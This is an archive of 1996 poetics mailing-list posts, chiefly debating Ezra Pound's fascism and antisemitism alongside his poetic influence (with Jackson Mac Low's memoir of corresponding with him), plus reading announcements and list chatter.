without crayons or sarcasm, he needed one, perhaps four
and only found meditation possible with toxicity, strange
books made of pencils and torn pages, not enough
time to announce the inevitable, going through madness
or laughing, sometimes the path does not diverge to

green garden, frost only at higher altitudes where there have
been no clouds for days, or remembered haiku along the rim
of what human lingers where it all grew before, rolling, him

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439. **Michael Boughn**
Re: Pound and Zukofsky
Mon 18 Mar 1996

> *Mike -- you ask if it would be possible to imagine "A" without The Cantos. Barry Ahearn claims in _Zukofsky's "A"_, that Zukofsky "first read the _Cantos_ after completing "A" 1-4, and the rest of the movements [up to "A" 8] were probably too far advanced for drastic change" (76). Hey all you Zukofskyites, is Ahearn right about this? The more I read "A" the less like The Cantos it seems. While I'm on the topic, does anyone know if there's an article or book or posting that identifies all the passages from Marx, Veblen, Adams, etc in "A" 8?*
>
> *Paul Naylor*

Thanks, Paul, for clarifying the compositional chronology, but my claim is more general. Not that Zukofsky was specifically inspired by the _Cantos_, but that that larger work of poetry that Jerry Rothenberg refers to--the epic, history, economics, and where it led Zukofsky--arose out of a world of possibilities that Ez, bless his ornery, repulsive soul, was crucial in helping create. We owe him that, however much we may hate his politics. It's one of those weird father things. I wonder if Zukofsky doesn't also make his turn away from that and toward his family at least partially in response to his reading of Pound? What Pound inadvertently has to teach us about reaching and over-reaching.

Mike
[redacted]

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440. **Maria Damon**
vacation from my vacation
Mon 18 Mar 1996

hi guyzies, it's maria. just came back from nyc where i did my first "reading" ever, at poetry city. it was a deep thrill. teachers and writers collaborative is a beautiful space. i'd assumed that, like most writing-related institutions, it'd be a hole in the wall type place but no. beautyful hardwood, vases full of roses, pretty potted trees and plants, posters and books on the wall-shelves, nice

lighting. i read w/ walter lew. i went first, did part of a paper called Word-Landslayt: Gertrude Stein, Allen Ginsberg, Lenny Bruce, which is forthcoming in a book called People of the Book: THirty Scholars Reflect on their Jewish Identity, edited by Shelley Fisher Fishkin (of Was Huck Black? fame) and Jeffrey Rubin-Dorsky, U Wisconsin press. shd be out this summer, cuz there's gunna be a publication party at the Jewish museum on july 9, from 6 to 8 pm. to coincide with the shallow but fun exhibit Too Jewish? Challenging Traditional Identities, which i also saw on this visit. The fun part of the reading (besides getting to meet jordan davis, bill luoma, issa clubb, and brian steffens in the flesh, and seeing juliana spahr, douglas rothschild, bob holman and charles bernstein again) was that part of what i read was a story about my best friend from high school --and she was there! what a thrill. in fact, my best friends from high school (essie), college (walter) and grad school (ed cohen, who now teaches at rutgers) were there, as well as new people who have come into my life via this list. so it felt really complete, and i felt supported by people who had known me for a long time, as well as folks who knew me only from cyberwords. the crowd was great (though small). everyone laughed at the right places, and bob holman whooped it up in the front row for both me and walter. then jordan and i read some of our "collaborative poems," as i've renamed the rengas since as walter pointed out there's an orientalist problem with calling any collaborative poetry rengas, since many cultures have such poetic traditions. those were well-received also. charles b asked us to identify the collaborators, which we did to the best of our recollections. it was totally fun. then after a break walter read his terrific eliot-inspired spoofs of eliot (not that what he read was solely satirical, also intense), some of it abt. the korean slave-labor casualties of the hiroshima/nagasaki bombings. those were his own poems; he also read some of sesshu foster's, barry masuda's and roy oki (?)'s poetry from his anthology Premonitions (much recommended) and showed video poems by Jessica Hagedorn (from words in yr face, produced by bob holman) and Gloria Park; both works are featured in Premonitions through text and stills. he also showed his own WNYC poetry spot, when urged to do so by holman (who also produced it). it was truly swell and cool. it was an honor to read w/ him. the feeling overall was warm, turned on and groovy. much thanks to all who came, it was a moment of grace for me. other things i did were fun too, esp hanging out w/ ed's gargantuan cats, who are of oblympian and flabulous girth, going to the unbelievably tacky flower show at the coliseum (based on broadway hit theme --big mistake), researching bob kaufman's maritime years at the rutgers special collections (they have the national maritime union archives), meals/coffees with assorted groovoids from past present and future, almodovar's new flick, buying books (hambone, gathering of the tribes, etheridge knight selected, charles stein for $1 used, walter's dictee book which i'd lent out and never saw again, and rod smith's boy poems). to my credit, not one single item of clothing or

jewelry was purchased by me (mostly cuz my favorite consignment shop, ina, was closed when i tried to go). fun to tha max. spring is coming, i cd feel it in brooklyn and i can see it in the rhododendron buds here on the cape. fishing boats out doing their thing, and i'm planning a party down here to show tapes of United States of Poetry to my cape crowd, who are not writers but enjoy having their minds blown. will be in nyc again for the bob kaufman birthday bash, yay! that's my update, i know it may be bad form to write up your own event on the POETRICKS list, so sue me. glad to be back on line.--maria d

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441. **Maria Damon**

poetry as performance

Mon 18 Mar 1996

---

has anyone else out there picked up gregory nagy's poetry as performance (cambridge, 1996)? i read in going down to nyc. it's about homeric epics and their process of reification as finished products. kinda pedantic, but a very pretty book and with some good if tedious etymological play.===maria d

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442. **cris cheek**

Black Writers Conference on the Web

Mon 18 Mar 1996

Hi - thought this might be of interest:

BLACK WRITERS CONFERENCE TO INCLUDE INTERACTIVE INTERNET COMPONENT

Medgar Evers College of the City University of New York will host the Fourth National Black Writers Conference in Brooklyn, NY on March 21-24. The theme is BLACK LITERATURE IN THE 90'S: A RENAISSANCE TO END ALL RENAISSANCES? A publicly accessible interactive version of the conference, hosted by Arts Wire, will be available on the World Wide Web at http://artsnet.heinz.cmu.edu/NBWC

Those who can't make it to Brooklyn can respond to these issues on this World Wide Web version, implemented on Arts Wire's future virtual home -- the server at The Heinz School at Carnegie Mellon University. "We are pleased to announce that The Black Writers Conference will act as the kick-off of a long-term collaboration with the School of Arts Management at CMU," says Arts Wire Director, Joe Matuzak. "We believe there are unique and exciting opportunities for both Arts Wire and the Master of Arts Management Program in this association, and that both Arts Wire participants and CMU students can benefit

substantially from this association. More details will be made available as they are settled."

Keynote speakers for the conference are Paule Marshall and Amiri Baraka. Marita Golden, Terry McMillan, Bebe Moore Campbell, Walter Mosley, Arthur Flowers, Thulani Davis, and others will participate in a series of panels that include:

*Choosing Exile: Black Writers from the Harlem
*Renaissance to the Black Arts Movement
*Choosing Exile: Black Writers from the Black Arts
*Movement to the Renaissance of the 1990's
*Presuming the Universality of the Black Experience
*Politically Correct in a Politically Incorrect World
*Black Literature: Who are the Readers?
*Black Literature: The Politics of Publishing

The Institute for African American Affairs at New York University will host Paule Marshall's keynote address at NYU on March 22, 1996. All panel discussions, Baraka's keynote address and Remarks by Walter Mosley will be held at Medgar Evers College.

The web version includes all the panels listed above. It is free! Not only will Web visitors be able to read reports and transcripts uploaded to the Web during the face-to-face conference, but also they will be able to participate in discussions of issues raised by the conference panels. To join the conference, go to http://artsnet.heinz.cmu.edu/NBWC and follow the registration procedure.

The face-to-face event received funding from the National Endowment for the Humanities. The Web version was funded by the Reed Foundation and implemented by Arts Wire's Beth Kanter, Barry Lasky and Tommer Peterson. It uses a version of WebCaucus, a web-based interface, that was developed for Arts Wire's Conferencing system.

For information about the Fourth National Black Writers, contact: Dr. Elizabeth Nunez, 1650 Bedford Avenue, Brooklyn, NY 11225; tel: [redacted] E-mail [redacted]

To participate in the web version of the conference, contact: [redacted]

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443. **Tardos Mac Low**
Pound etc.
Mon 18 Mar 1996

In re a question of Chris Daniels anent Charles Bernstein's last posting, I backchanneled the following information to Chris:

I have copies available of _Words nd Ends from Ez_ @ $7.50

(my snail is 42 N Moore St New York NY 10013-2441.)

I will begin something about Pound below, but may not finish it in this posting:

Writing about EP is very painful and difficult. In a real sense, he introduced me to modern poetry in 1938 when I was 15 or16, in my late 3rd year or early 4th year of high school.

I visited the University of Chicago campus, traveling from Kenilworth, a North Shore suburb, to the South Side of Chicago, to talk with my high school hero, Bertrand Russell. He was very nice when I phoned him (when I got out there!) but wasn't able to see me. (I met him several months later at a party out there.) So I went over to the U of C bookstore & found _Culture_, the New Directions 1938 version of _Guide to Kulchur_. I read most of it standing up at the book table. I'd literally never read anything like it. (I must not have noticed the fascism--there was so much exciting and new in it.)

On the way home I stopped by at the main Chicago Public Library & got out several of EP's early books--_Lustra_, _Ripostes_, _Cathay_, and possibly _Personae_, (tho the aforementioned were collected eventually in that book). Whichever they were besides _Lustra_, I read them in a high state of excitement all the way hom on the El & and North Shore Line trains. *That* led me (with some assistance from George Dillon & Peter DeVries, who then were the editor & asst editor of _Poetry, A Magazine of Verse_) to all the rest of the modernists, except for Stein, whom I'd discovered in the Marshall Field's in Evanston several years earlier, and who later became my "favorite" of them all. I first read Pound, then Eliot, then Williams, then . . .

By the spring of 1939, my later senior year in HS, I was giving lectures on modern poetry up thru Auden to our English class.

Before reading Pound, I had only read with pleasure Whitman and Sandburg (who were both very inspiring to me--before coming across them, I disliked poetry). (It was about the same time that I discovered Donne and Herbert and the other 17th-century Metaphysical poets, and the Shakespeare of the Sonnets (I'd read several of the plays, of course.)

My first poems were political--antiwar. Having been a New Deal liberal earlier, I was by then a democratic socialist and pacifist. Funny that, like Olson, I had my life changed, especially as a poet, by that fascist --and wonderful poet

Several years later--in 1945--Robert Duncan and I crashed a reading by Williams at the 92nd St YMHA. We talked a little to him & then I wrote to him a little later, among other things, asking how Pound was.

Next thing I got a note from Pound telling me to visit Hubert Creekmore at New Directions, and the latter told me how to write back to Pound. By then I knew about the fascism, but not yet about the radio talks. EP & I exchanged sporadic notes & eventually he was sending me Social Credit and other papers and I was sending him pacifist anarchist papers.(I was by then working with an anarchist pacifist group that put out a paper first called _Why?_ and later _Resistance_. (I did so 1944-54.) Among those who came to our discussion group were Robert Duncan, Paul Goodman, and once Julian Beck and Judith Maline who later began The Living Theatre. Goodman, as well as James Baldwin (once,anonymously) and myself wrote for the paper, but I don't think Duncan did. However, he often came to our discussions (we had first met my first day in NYC--on 12 September 1943, my 21st birthday).

>From 1945 to 1955, fascism never came up between Pound & me. I noticed that
the Social Credit papers were antisemitic (advertised the Protocols of the Elders of Zion!) but I discounted Pound's fascism as psychosis. He never *said* anything that seemed fascist and he was fine to Jewish friends of mine who visited him at St Elizabeths (tho they sd he got riled up & talked crazy when his Praetorian Guard of Southern boys showed up. He sent me books about Andrew Jackson and a bound copy of the _Democratic Review_ that contained some first publications by Hawthorne and a speech or 2 by Calhoun, which I didnt read, tho that must have been what EP wanted me to read.

>From 1945 to 1955, then, we talked (on paper--I never met him) about poetry mainly, tho he did give suggestions for what the anarchist-pacifists shd look into (money, of course). (Those notes from EP seem to have been spirited away.) My attitude was that you don't kick an old men in his paranoia.

But then, after reading several sections of the _Cantos_ that I hadnt read before, I brought the subject up (probably in March 1955). He denied being antisemitic ("I never bitched Louis [Zukofsky] or Mina Loy (Levy) [EP's paren.--near enough--her name was Loewy]!" & of course he hadnt. _Culture/Guide to Kuclchur_ was dedicated to Zukofsky as well as Bunting, (That's where I first saw their names.)

I then pressed EP about the meanings of certain lines in the Cantos. I also mentioned that my father's name until about 1906 or 7 (when he was 18 or 19) was Michalowski. My father changed the name to MacLow, along with the other younger brothers of a group of 8--the older brothers changed it to Michalow-- a little before he came to the US in 1908, when he was 20.

(I didn't know it then, when I mentioned it to Pound, that my father's name was Jacob MacLow when he came to the US. He changed it to Jackson MacLow at the urging of his Baltimore boss. He told me this in the early 1970s, when he'd forgotten he was hiding all his background. It seems that his Southern boss, who liked him a lot, told him: "Jack, I want to call you "Jackson," after our great general, Stonewal Jackson"!

& so I became "Jackson MacLow, Jr. when I was born in 1922. (My parents, fleeing their Judaic background, gave me that very unJewish name. I separated the "Mac" from the "Low" & dropped the "Jr." in 7th or 8th grade.)

At first Pound was in denial & defensive, but after I sent him, of all things, a page from Stein's _Wars I Have Seen_ in which she made it plain that though the Rothschilds may have controlled gold in the 19th century (I don't remember whether she mentioned the Sassoons & silver--one of EP's other hobbyhorses), they sure didn't do so now (i.e., in the 40s & earlier decades of the 20th century).

I also mentioned that an acuaintance of mine, Gideon Strauss, who was then the first Israeli consul in New York, when he was given the job of setting up a branch of the Bank of Israel in New York, couldnt find a a single Jewish banker to work with him!

The upshot, of course, was a blow-up. Pound's parting shot to me was "You'll do better as Michaelovitch than MacLow."

So why am I still conflicted about the bastard? I think it's obvious. He wasn't *only* a fascist, and only a relatively small proportion of his poetry is fascist. (Of course this sounds like "she's only a *leetle bit* pregnant.") But could it be that what Pound told Allen Ginsberg when he visited him in Venice--that it was "a stupid suburban prejudice!"--was really what he thought it was? Could THAT have led to supporting Mussiolini & even Hitler?

I think Major Douglas & his Social Credit (a version of money reform that was dripping with antisemitism--not *all* money reformers are antisemites--had as much to do with it as Pound's moving to Italy. (I think he met Douglas before leaving London.) The whole concatenation of Western "populism", the Silver Movement, &c., had as much to do with the turn toward fascism. (Ez had all too much in common with Pat Buchanan! Curiously, there were even hints of interest in Bolshevism around the time of _An Objectivist Anthology_!)

The fact is that Pound could be a fascist and also write wonderful poetry--even *after* turning into a fascist! People are not integral. Certainly Pound wasnt (and neither am I). One is a different person at different times. What I referred to once--much to my surprise--as "the spirit of Ezra Pound" was not that of a fascist. Tho he may have thought that he was writing a populist-reformist anticapitalist-fascist montage when he was writing the Cantos (& I think even this was sporadic) turned out to be a collage poem such as few if any had written before. (Thanks, Charles, for ponting this out, despite the fact that you hate Pound much more than I do!) It certainly *doesnt* "all cohere!"

(I won't even do more than mention, Roy Campbell, a fine poet who fought on the Franco side in Spain--more of a monarchist than a fascist-- and wrote not only some fine poems of his own but good translations of Baudelaire and St. John of the Cross. [I even have a faint suspicion that he was one of the first to translate Lorca--but I may be mistaken.]

When I wrote _Words nd Ends from Ez_ in the early 1980s, I was fully aware of Pound's fascism & antisemitism, but I still found much of his poetry--the nonfascist parts--inpiring. I think many of us--especially my younger friends who are called "language poets"--learned a great deal from Pound. The whole process of juxtaposing disparate elements within the space (in all senses) of a poem was given to us primarily by him and his b^ete noir Stein! How he'd gnash at that sentence!

I think the contributions of the dadaists & surrealists to this kind of poem-construction were minor compared to those of Pound.

& he taught many *different* groups of poets--not only the imagists, the objectivists, and the projectivists--new ways of making poems and of making *verse*. It's incredible when one thinks of the lineages of poem-makers descending from EP! (Think, for instance, of Pound-Olson-Duncan . . . !) Think of all the ears he taught to hear (*helped* teach--remember how many of us learned as much or more from Stein--& also, in my case, in approaching hearing and the putting together of disparate things, Cage--especially his music of the early 1950s).

Would he have been as great a teacher--even to those of us who came to reject as much as we accepted--if he'd not have been such a fucking authoritarian? Probably for some--but that authority thing is what often drives teachers--good & bad.

One cannot obliterate Pound because he was in so many ways a fascist (in so many ways, he wasnt!) or Heidegger because he was for a very short time a Nazi (for a much much shorter a time than Pound was a fascist). I've recently learned that not only Arendt but also Celan! visited Heidegger in his late years. We cannot be totalists about poets and philosophers any more than we can be about society. Like Whitman, we all contain multitudes.

The way I chose in the early 80s was to read through the Cantos by a deterministic (nonchance) nonintentional method--the "diastic reading-through text-selection method"-- which gleaned whole words & "ends" of words--everything from the last letter of a word to all the letters except the first--that successively had the letters of "Ezra Pound" in corresponding places (e.g., E'z and P's in the first place, Z's & O's in the second place etc). I spelled out the name diastically over and over until I found no more z's. (Thus the last section of the poem is a silence.) I tried to follow this method out exactly. But of course I made mistakes.

Just as Pound projected a great anticapitalist montage, I attempted to write a completely deterministic nonintentional work by reading through _The Cantos_ to select words & ends "diastically". But chance intervened in the shape of mistakes. Luckily, I decided long ago, to accept my own mistakes (tho not others' typos!) once a poem is in print. I accept the fact that _Words nd Ends from Ez_ is a partially deterministc poem modified by completely unintended chance interventions (uncaught mistakes). I also accept the fact that others, such as Charles, find it valuable despite its deviations from its intent. (A curious word to use for the project of writing a deterministic *nonintentional* work!)

I've gone on much too long already. Forgive me, fellow polisters!

Jackson mac Low
[redacted]

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444. chris daniels
responses to my excesses
Mon 18 Mar 1996

OPEN LETTER TO SOME ASSHOLES

since my last posting, i have received more than a few private mssgs, some of wch were nasty in a clever, sneering, condescending way. my feelings are hurt and i am pissed off. one of them called me "a charmingly naive amateur social critic" --- that one from the most pleasant mssg.

to the senders who were kind, i say thanks plain and simple, for making me feel welcome. to the senders who were exceptionally kind, i have sent seperate mail.

in all fairness i have to say that charles bernstein was very tactful and fair abt telling me i'd breached etiquette. he didn't make it seem like i'd done anything wrong. thanks, charles.

to answer the others, who in their pride wldn't admit to frailty even to save their paltry positions or to obtain tenure, allow me to direct them to Blake's

Milton, plates 40 and 41. think abt that one, boys and girls, while counting yr crisp degrees.

finally, allow me to quote this poem by tom pickard :

City Council Poem

The Lord Sherrif's gold chain
sparkles w/ the names
of hanged men

whose lifeless limbs
dangle and decorate his chins.

He has the honour to be present
at the scaffold
as his predecessors were.

Is it their heavy memory
which causes your official brow to bead?

Your sloppy mouth waters
at such entertaining deeds.

You said, when I asked you
what your powers were
that you could lock me up
if I caused some disturbance
in the town

but who, proud pig,
if you chose to knock me down
would lock you up?

love,

chris "i have no gun but i can spit" daniels
---
christopher daniels <[redacted]> 3.18.96 5:22:26 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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445. **chris daniels**
more on bunting
Mon 18 Mar 1996

---

i'd like to clarify the bunting issue a little:

first, by quoting IN FULL the poem "On the Fly-Leaf of Pound's Cantos" --- wch bunting wrote in 1949, yes, 1949! and where, tell me, where was pound in 1949 and what was the literary world saying abt him?

There are the Alps. What is there to say about them?
They don't make sense. Fatal glaciers, crags cranks climb,
jumbled boulder and weed, pasture and boulder, scree,
et l'on entend, maybe, _le refrain joyeux et leger_.
Who knows what the ice will have scraped on the rock it is moving?

There they are, you will have to go a long way round
if you want to avoid them.
It takes some getting used to. There are the Alps,
fools! Sit down and wait for them to crumble!

secondly:

"ezra was certainly confused, but he was never a fascist"
(this may be misquoted, but it's what i remember bunting saying)

thirdly, didn't bunting work for the oss or some such?

ah, well, guess that means i can't read my favorite poet anymore

sit down and wait for them to crumble ...

later ---

chris
---
christopher daniels <[redacted]> 3.18.96 6:40:11 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen

a: "free yr mind and yr ass will follow."

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446. Tardos Mac Low
Pound one last sentence
Mon 18 Mar 1996

More to the point than most of what I said in my long memoir is the dedication of _Words nd Ends from Ez_:
"in memoriam . . . "freeing the sparks"

Jackson Mac Low
[redacted]

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447. Robert Drake
Black Writers Conference on the Web
Mon 18 Mar 1996

[begin forwarded message]

Date: Mon Mar 18 17:26:37 1996
From: [redacted]
Subject: Black Writers Conference on the Web

BLACK WRITERS CONFERENCE TO INCLUDE INTERACTIVE INTERNET COMPONENT

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*Choosing Exile: Black Writers from the Black Arts
*Movement to the Renaissance of the 1990's
*Presuming the Universality of the Black Experience
*Politically Correct in a Politically Incorrect World
*Black Literature: Who are the Readers?
*Black Literature: The Politics of Publishing

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For information about the Fourth National Black Writers, contact: Dr. Elizabeth Nunez, 1650 Bedford Avenue, Brooklyn, NY 11225; tel: [redacted] E-mail [redacted]

To participate in the web version of the conference, contact: [redacted]

[end of forwarded message]

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448. **Tardos Mac Low**

corrected notice for Big Allis reading

Mon 18 Mar 1996

There was an partially erroneous posting of this information recently. Unless al message *identical* to this was posted by someone else earlier today, 18 March 1996, this is a corrected version of the earlier message:

To: [redacted]
Subject: Big Allis reading at Segue Space, 23 May 1996
From: [redacted](Tardos Mac Low)

There was a partially erroneous posting of the following information to the poetics list recently. Unless a message identical to the following was posted today, 18 March 1996, this is a correction of the earlier posting of this information.

Melanie Neilson asked to have this updated notice & list posted:

Re: _Big Allis_ #7 publication/ celebration
evening of readings/performances
on Thursday 23 May 1996 7:30 pm
at the Segue Performance Space
303 East 8th Street, New York, New York 10009

Participants:

1. BRUCE ANDREWS
2. ULLA DYDO
3. ROB FITTERMAN
4. KIM ROSENFIELD
5. JULIANA SPAHR
6. JENA OSMAN
7. JOAN RETALLACK
8. ABBY CHILD
9. DEIRDRE KOVAC
10. ELIZABETH FODASKI
11. JEAN FOOS AND DIRK ROWNTREE
12. JACKSON MAC LOW
13. ANNE TARDOS
14. MARTINE BELLEN
15. HANNAH WEINER
16. GAIL SHER
17. PETER SEATON
18. RACHEL CAREAU

and others

Jackson Mac Low (for Melanie Neilson)

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449. **Gabrielle Welford**
Re: my excesses
Tue 19 Mar 1996

I'm not quite sure what that means... Chris is sending too much? Are we on a quota? I thought we sent as we felt moved. Could someone clarify? Gab.

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450. **Peter Quartermain**
Re: Ghost books
Tue 19 Mar 1996

Kevin Killian wrote, some time ago (11 March)
>Okay, ghost books - probably hundreds (dozens?) of readers have wondered
>whatever became of Robin Blaser's book of "Astonishments," after his
>announcement of it twenty years ago at the end of Jack Spicer's "Collected
>Books." Peter, you are in as good a position as anyone to answer that
>question!! (There was also Stan's announcement-was it in 1970?-of the
>imminent publication of Spicer's "Vancouver Lectures.")

Kevin -- it took me a little while to track all this down ACCURATELY, but I can report a) Spicer's Vancouver Lectures are being edited by Peter Gizzi and I believe are even as i write ready to be sent to a publisher (but I know not who the publisher might be) b) Blaser's collected essays have been more or less under the editorship of Stan Persky for a number of years, but Stan's energies have been distracted from this project. Robin and I discussed this today and both agree that Stan should be encouraged to take it up again. c) ASTONISHMENTS --a small section was transcribed by Daphne Marlatt and then published in _The Capilano Review_ some years ago. The series itself was never completed, at least in the form Robin intended, and is currently beiing transcribed and edited by Miriam Nichols (who is also, by the way, editing a book of essays on Blaser's poetry). When completed, they will become a selection of the (ever to-be-published?) book of RB's essays, since they are not (says Robin) long enought to be a book in themselves. IF, on the other hand, half a dozen folk would interview Robin, then _Astonishments_ and let's call them _Blandishments_ might make a really nice book.

I too would like this stuff to come out. Especially the essays.

And a propos my original ghost titles posting, I am so intrigued by that title FOUR GRAPES that I want to write the book myself. I wonder what it should have in it.

Sorry to bear such unhelpful news, Kevin. XXX Peter

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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451. chris daniels

Re: my excesses

Tue 19 Mar 1996

---

gab ---

it has to do w/ the listserv setting a limit to the amt of traffic per diem or something --- not sure i understand it myself --- i don't see it as a problem, anyway.

chris

---

christopher daniels <[redacted]> 3.18.96 10:39:39 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
  --- charles wourinen

a: "free yr mind and yr ass will follow."

  --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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452. **Aldon L. Nielsen**
Re: Lenore Kandel
Tue 19 Mar 1996

Somebody may have answered this backchan. -- but here's an answer to the Kandel query --

Quickest place to find her poetry is in her Grove Press book, _Word Alchemy_, which remains available in many libraries and often turns up in used book stores -- The more notorious _Love Book_ is harder to find copies of --

Kandel and Lew Welch turn up in slightly altered versions of the,selves in Kerouacs _Big Sur_, under the names Romona Swartz & David Wain.

If your library has a copy of _Literary San Francisco_ by Ferlinghetti & Peters (1980, City Lights with Harper & Row), you can find an interesting photo of Kandel sitiing with McClure, Murao and others in The Cellar club listening to a poetry and jazz performance by Rexroth --

I don't know if these things are preserbed anywhere, but the old Joe Pynne (Pine?) television show, grand-daddy to Rush and others, had kandel on as a guest for Joe to attack one week in the sixties -- she read some poems & did a good job of turning Joe's taunts back upon him -- This in the wake of the _Love Book_ banning episode --

San Francisco Poetry Center Archive probably has tape of her

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453. **Eryque Gleason**
Re: my excesses
Tue 19 Mar 1996

---

the listserver sets a limit to the number of messages every day? seems loopy to me, although the question is really irrelevant to me. i just canned 40 some messages from this list simply because i don't have the time to read them. i woulda just pecked my way through, but there were too many threads i did want to read.

you'll all just have to beget your wisdom unto me at a less busy time of year :-)

eryque

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454. **Kevin Killian**
Feminist Measures
Tue 19 Mar 1996

At 10:18 AM 3/18/96, Rachel Blau DuPlessis wrote:
>Those who want to follow thru on Pound and women
>might look at e.g. me, or Rachel Blau DuPlessis, "Corpses of Poesy:some
>modern poets and some gender narratives of lyric," in Lynn Keller and Cri-
>stanne Miller, ed. Feminist Measures: Soundings in Poetry and Theory from
>Univ of Michigan Press, 1995.

Hi Rachel, it's Dodie Bellamy here.

Well, I was in San Francisco's Mission District this afternoon, and being your number one fan, I stopped into Modern Times bookstore to see if I could find a copy of _Feminist Measures_. I didn't find a copy, but I did find Kaja Silverman's _The Threshold of the Visible World_, which looks more fun than _The Acoustic Mirror_, so I took it up to the counter to buy it. Even though I'd thoroughly checked out the Women and the Theory sections, I thought it silly not to ask if they had _Feminist Measures_--just to be sure. The problem is that since I'm from Indiana I pronounce "measure" as may-zhure--something I never noticed everybody didn't do until Kevin pointed it out to me a couple years ago. Since, then of course, I've realized that everybody else in the world says measure to rhyme with pleasure. But, there's no way I can make myself say anything but "may-zhure" without feeling false to my roots and a bit pretentious--similarly I can only pronounce aunt as ant. So, anyway, the snootiest clerk in all of San Francisco was at the counter at Modern Times, and as I paid for the Silverman book, I timidly asked, "Do you have Feminist May-zhures?" "What?!!!" he screeched. "You don't mean 'meshures' by any chance?" I nodded and said I thought it was published in 1995. He looked it up in his computer and turned to me and exclaimed with glee, "It was 1994 and no we don't have it." He said it was listed as a textbook and wouldn't have even been shown to him. I guess I'll have to go to Berkeley if I want to look before I leap.

Dear Rachel, I turn to you for advice, are you ever too shy to ask for something at the counter--or are you always heroic, the way I think of you? I feel like steeling up the nerve to ask for your book made me more of a feminist than I've ever been.

Love,
Dodie

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455. **Ada Aharoni**
Re: Pound & Man at Yale
Tue 19 Mar 1996

Thanks Charles for your account of the Yale "Pound" deepfreeze. I hope it will help to bring home to conscientious critics\poets that Pound is indeed a "dead horse."

Like Maria, "what i learned was important, shocking and helpful." best,

Ada

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456. **Alan Sondheim**
Re: my excesses
Tue 19 Mar 1996

You can of course reset the message height anywhere you want. About a month ago Cybermind which I co-mod reached over the limit at 100; I freed it for another 17 that day -

Alan

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457. **mikl-em**
Re: Kandel
Tue 19 Mar 1996

Quoth Alden on Kandel:

> *San Francisco Poetry Center Archive probably has tape of her*

which is true indeed: 3/17/76 reading with Diane Di Prima, intro-ed by Lewis MacAdams

it includes a Q&A session. I've lost track of who sent the Query, but I'm volunteering at the center--if you aren't in the area or don't know how to reach the center, just drop me a line and I'll steer you to the archives,

re: gards,
mkl.

[redacted]

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458. Mark Peters
Espanol
Tue 19 Mar 1996

Could anyone direct me to some exciting contemporary poetry in Spanish? I need to improve my reading skills, and would love to discover and use some recent poetry in the process.

Thanks,
Mark

"Look for discrepencies in your totem pole."

--Kit Robinson

↑ Index

459. R I Caddel
Re: more on bunting
Tue 19 Mar 1996

Thanks, Chris, for quoting the whole Bunting poem, inc. date. Those Alps still ain't crumbled, though the fools are still waiting and the cranks are still climbing (it seems to me increasingly evident that there's a direct link between the study of Pound's social economics and insanity). We have, surely to try to find some way to do as BB did, revile the politics of intolerance - especially where it lives on around us - and yet learn from the poetry, without which, as others have pointed out, we'd all be much poorer.

What's the "oss"?

I can't lay hands on the quote of BB on EP you give, but for what it's worth I do recall (roughly) the conversations we naive students had with him c. 1968 (we nobbled him several times on this one, so the following is a kind of digest of his soundbites, as I remember them. He was remarkably consistent in his responses - Diplomatic Service training, I guess):

Naive Students: Why was Pound a fascist?

Bunting: You must remember that he became increasingly unstable throughout the 1930s, as he found himself isolated from friends and literary contemporaries. He was always susceptible to crackpot ideas, and that made him vulnerable to a direct wooing from Mussolini. Heaven knows why M. thought it worth his while.

NS: Why was Pound an antisemite?

B: That was a very fashionable fad at the time, which a lot of people absorbed to a greater or lesser degree without recognising it. Because it seemed like a

convenient solution to Pound's great economic headaches, he swallowed it unquestioningly - to his detriment. It lead him to be very hurtful to many of his friends, for which I remonstrated with him.

NS: Have his views changed since the war?

B: Couldn't say. His breakdown, when it inevitably came, was so complete as to make any real judgement difficult. Obviously eddies of his old preoccupations surface in fragments from time to time, but his main concern these days seems to be to find some sort of peace, mostly in silence. [nb - this was about the time drafts&fragments appeared]

NS: If he's a fascist antisemite, shouldn't we refuse to read him?

B: Your teachers would probably thank you, since you'd be sparing them a lot of difficult work. But you'd also be depriving yourselves of some of the best poetry of this century or many others, and of the fullest poetic toolkit which any young poet could have at his [sic] disposal. Refusal to learn from Pound's work, complex and flawed as it is, seems exceedingly dull-witted.

[Kids! don't quote this in your theses! It's just the way I remember it... For what it's worth I buy quite a lot of BB's line on this - particularly that no competent poet or critic can simply dismiss Pound unread. You have to make the effort, and it has very great rewards. Equally, I was aware at the time that BB was oversimplifying EP's fascism and antisemitism - perhaps for his rather dim audience - in a way that won't do in the end. That has to be tackled too. It's a tricky old world. Sorry for taking up so much space/time on this... RC]

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460. Karen or Peter Landers

Peter Landers at Writers & Books Thursday

Tue 19 Mar 1996

---

hi gang,

if you're in the rochester area on thursday, stop over to W&B for my reading

call them at [redacted] for more details

here's a teaser...

I watch TV
.
warty, wrinkled skinhead
pronounced: di-he-dral or flex
cathartic deathbird
legs dover cliff white by shit

spreaded silvery primaries (splayed, I'd say)
soars, eyesore,
.
follows ivory nose to roadkill;
tears at (vultus)
sun-ripe meat.

---

cya,
Peter

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461. Emily Lloyd
may-sures & misc
Tue 19 Mar 1996

Dodie: I like your measure, esp. if pleasure can be pronounced play-sure. I found the book at Borders, & it's well worth having, both for Rachel's "Corpses of Poesy" and Joan Retallack's ":RE:THINKING:LITERARY:FEMINISM." After reading Rachel's essay, I'd like to take back my months-old Marianne Moore-bashing comment, please. Her essay's also a good place to start if, like me, you're interested in the recent Mina Loy renaissance.

Chris (Daniels): I don't know what the whos I don't know have been telling you about your posts, but one way to foil the powers that be who restrict numbers of messages is to answer a number of posts in one large message. Meaning, rather than respond to a post by me and then a post by Aldon in 2 separate posts, you'd do one like:

Emily: I completely disagree with you :)
Aldon: etc.

So this post is an example. :)

Gwyn: (forgive the non-backchanneling, but I'm modeling here) please let me know, bc, how I can get a copy of that chapbook of yours.

